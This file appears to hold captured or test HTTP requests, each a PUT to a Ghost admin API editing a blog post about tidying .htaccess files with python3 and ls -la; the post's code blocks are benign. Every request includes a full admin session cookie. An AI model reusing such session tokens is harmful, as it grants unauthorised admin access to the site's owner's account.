5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8121", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8204", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8454", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8273", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8103", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same 